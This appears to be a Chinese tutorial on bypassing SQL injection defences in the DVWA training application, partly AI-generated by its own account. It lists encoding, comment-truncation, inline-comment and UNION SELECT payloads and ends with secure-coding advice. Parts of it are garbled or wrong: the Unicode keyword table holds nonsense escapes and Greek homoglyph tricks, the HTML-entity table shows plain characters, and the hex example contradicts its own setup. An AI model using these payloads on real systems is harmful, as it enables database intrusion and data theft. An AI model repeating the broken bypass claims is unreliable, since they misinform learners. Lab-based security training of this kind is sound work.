DVWA SQL注入防御绕过:编码与注释技巧
【免费下载链接】DVWA 项目地址: https://gitcode.com/gh_mirrors/dvwa/DVWA
引言:SQL注入(SQL Injection)攻防现状
在Web安全领域,SQL注入(SQL Injection)始终是威胁排名前三的风险漏洞。DVWA(Damn Vulnerable Web Application)作为主流的漏洞测试平台,其SQL注入模块从低到高四个安全级别(Low/Medium/High/Impossible)完整模拟了真实世界中的防御演进过程。本文将通过分析DVWA各层级防御机制,系统讲解如何利用编码转换与注释注入等高级技巧突破常见防护措施。
一、DVWA SQL注入防御机制解析
1.1 Low级别:原始输入直接拼接(无防御)
Low级别的代码直接将用户输入拼接到SQL查询中,未做任何过滤:
// 关键代码片段(vulnerabilities/sqli/source/low.php)
$id = $_REQUEST['id'];
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
这种情况下,最简单的单引号闭合即可注入:1' OR '1'='1
1.2 Medium级别:基础转义+整数验证
Medium级别引入了基础防御措施:
// 关键代码片段(vulnerabilities/sqli/source/medium.php)
$id = $_POST['id'];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
防御特点:
- 使用
mysqli_real_escape_string()转义特殊字符 - SQL查询中
user_id = $id未使用单引号包裹(整数类型)
1.3 High级别:会话存储+ LIMIT限制
High级别进一步增强防御:
// 关键代码片段(vulnerabilities/sqli/source/high.php)
$id = $_SESSION['id'];
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
防御特点:
- 通过会话(Session)传递参数,避免直接HTTP请求传入
- 增加
LIMIT 1限制结果集数量
1.4 Impossible级别:参数化查询+Token验证
Impossible级别实现了工业级防御:
// 关键代码片段(vulnerabilities/sqli/source/impossible.php)
checkToken($_REQUEST['user_token'], $_SESSION['session_token'], 'index.php');
if(is_numeric($id)) {
$data = $db->prepare('SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;');
$data->bindParam(':id', $id, PDO::PARAM_INT);
$data->execute();
}
防御特点:
- 采用PDO参数化查询(Prepared Statement)
- 强制类型检查(
is_numeric()+intval()) - 防CSRF令牌(Token)验证
- 结果集数量限制
二、编码绕过技巧详解
2.1 十六进制编码绕过单引号过滤
当输入被单引号包裹且存在转义时(如Medium级别整数验证失效场景),可使用十六进制编码:
原理:MySQL支持0x前缀的十六进制字符串表示
攻击示例:
- 目标查询:
SELECT * FROM users WHERE username='[输入]' - 注入 payload:
0x61646D696E(等价于admin的十六进制编码) - 最终查询:
SELECT * FROM users WHERE username=0x61646D696E
DVWA测试:在Medium级别尝试将字符串转换为十六进制注入
2.2 Unicode编码绕过关键词过滤
针对检测UNION、SELECT等关键词的WAF,可使用Unicode编码绕过:
常用编码表:
| 关键词 | Unicode编码 | 注入示例 |
|---|---|---|
| UNION | U\N{004E}ION | 1 UNIΟN SELECT(希腊字母Ο替代O) |
| SELECT | SELEC\T | 1' SELEC\x54 1,2# |
| OR | O\x52 | 1' O\x52 1=1# |
DVWA测试:在Medium级别尝试1 UNIΟN SELECΤ 1,version()(使用希腊字母替代英文字母)
2.3 HTML实体编码绕过前端过滤
当应用仅在前端使用JavaScript过滤危险字符时,可利用HTML实体编码:
编码示例:
| 字符 | HTML实体 | 十进制编码 |
|---|---|---|
| ' | ' | ' |
| " | " | " |
| ( | ( | ( |
| ) | ) | ) |
注入示例:1' OR 1=1# 提交后在后端会被解码为 1' OR 1=1#
三、注释注入技巧与实战
3.1 注释符号的多样化应用
SQL支持多种注释符号,可用于截断查询或隐藏后续语句:
| 注释类型 | 符号 | 适用场景 |
|---|---|---|
| 单行注释 | # | MySQL、PostgreSQL |
| 单行注释 | -- | 所有SQL数据库(注意空格) |
| 多行注释 | /* */ | 所有SQL数据库 |
| 内联注释 | /*! ... */ | MySQL特有(数据库会执行注释内代码) |
3.2 防御绕过实战:High级别突破
High级别使用LIMIT 1限制结果,可通过注释绕过:
原始查询:
SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;
注入Payload:1' UNION SELECT 1,version()-- -
注入后查询:
SELECT first_name, last_name FROM users WHERE user_id = '1' UNION SELECT 1,version()-- -' LIMIT 1;
3.3 内联注释高级技巧
MySQL的内联注释/*! ... */可用于执行特定版本的SQL语法,可绕过简单的关键词过滤:
版本特定注入:
1' /*!UNION*/ /*!SELECT*/ 1,2#
1' /*!50000UNION ALL SELECT*/ user(),database()#
DVWA测试:在Medium级别尝试1 /*!OR*/ 1=1/*
四、防御绕过思维导图
五、防御措施与安全编码
5.1 各防御级别安全性对比
| 防御级别 | 安全措施 | 防御强度 | 绕过难度 |
|---|---|---|---|
| Low | 无防御 | ☆ | 极易 |
| Medium | 字符转义+整数验证 | ★★ | 中等 |
| High | 会话存储+LIMIT | ★★★ | 较难 |
| Impossible | 参数化查询+Token+类型检查 | ★★★★★ | 极难 |
5.2 安全编码最佳实践
- 参数化查询(Prepared Statement)
// 正确示例:使用PDO参数化查询
$stmt = $pdo->prepare('SELECT * FROM users WHERE id = :id');
$stmt->bindParam(':id', $id, PDO::PARAM_INT);
$stmt->execute();
- 输入验证与过滤
// 严格类型检查
if (!is_numeric($id)) {
die("Invalid ID");
}
$id = intval($id);
- 最小权限原则
- 数据库账户仅授予必要权限(SELECT/INSERT等)
- 禁止使用ROOT/SA等高权限账户连接数据库
- 安全配置
// PHP配置加固
ini_set('magic_quotes_gpc', 0); // 禁用魔术引号(已在PHP7移除)
ini_set('display_errors', 0); // 禁止显示错误信息
六、总结与防御演进
SQL注入防御是一场持续的攻防对抗,从DVWA的四个安全级别可以清晰看到防御技术的演进路线:
防御方需要实施多层次防护策略,而不仅仅依赖单一技术。开发者应牢记:永远不要相信用户输入,必须通过参数化查询、严格验证和最小权限等综合措施构建安全防线。
通过DVWA平台的实践,安全测试人员可以深入理解各种绕过技巧的原理,从而更好地帮助企业构建有效的防御体系。
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考



